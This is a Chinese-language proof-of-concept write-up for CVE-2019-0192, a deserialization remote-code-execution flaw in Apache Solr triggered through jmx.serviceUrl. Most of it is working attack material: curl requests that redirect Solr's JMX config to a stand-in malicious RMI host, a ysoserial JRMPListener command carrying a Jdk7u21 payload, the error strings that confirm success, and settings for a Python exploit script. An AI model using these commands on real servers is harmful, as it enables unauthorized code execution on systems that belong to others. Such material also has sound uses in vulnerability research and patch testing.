
通过 jmx.serviceUrl 反序列化不可信数据,在 Apache Solr 上实现远程代码执行(RCE)
这是 Apache Solr RCE 的早期 PoC
来自 https://issues.apache.org/jira/browse/SOLR-13301:
ConfigAPI 允许通过 HTTP POST 请求配置 Solr 的 JMX 服务器。 通过将其指向一个恶意的 RMI 服务器,攻击者可以利用 Solr 的不安全反序列化,在 Solr 端触发远程代码执行。

通过查看安全公告的描述并检查 Apache Solr 的 ConfigAPI 文档,我们可以找到对 JMX 服务器的引用:

serviceUrl - (可选字符串)JMX 服务器的服务 URL。如果未指定,则将使用默认的平台 MBean 服务器。
通过检查 ConfigAPI 的工作方式,我们可以复现如何设置远程 JMX 服务器:
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
对于此 PoC,我将使用 yoserial,利用 Jdk7u21 载荷创建一个恶意 RMI 服务器
java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
注意:你应该会收到一个带有完整堆栈跟踪的 500 错误
如果你看到此错误:"Non-annotation type in annotation serial stream",这意味着 Apache Solr 运行的 Java 版本高于 JRE 7u25,此 PoC 将无法生效
否则你应该会看到此错误:"undeclared checked exception; nested exception is",并且 PoC 应该可以生效。
remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"
python3 CVE-2019-0192.py
安全公告: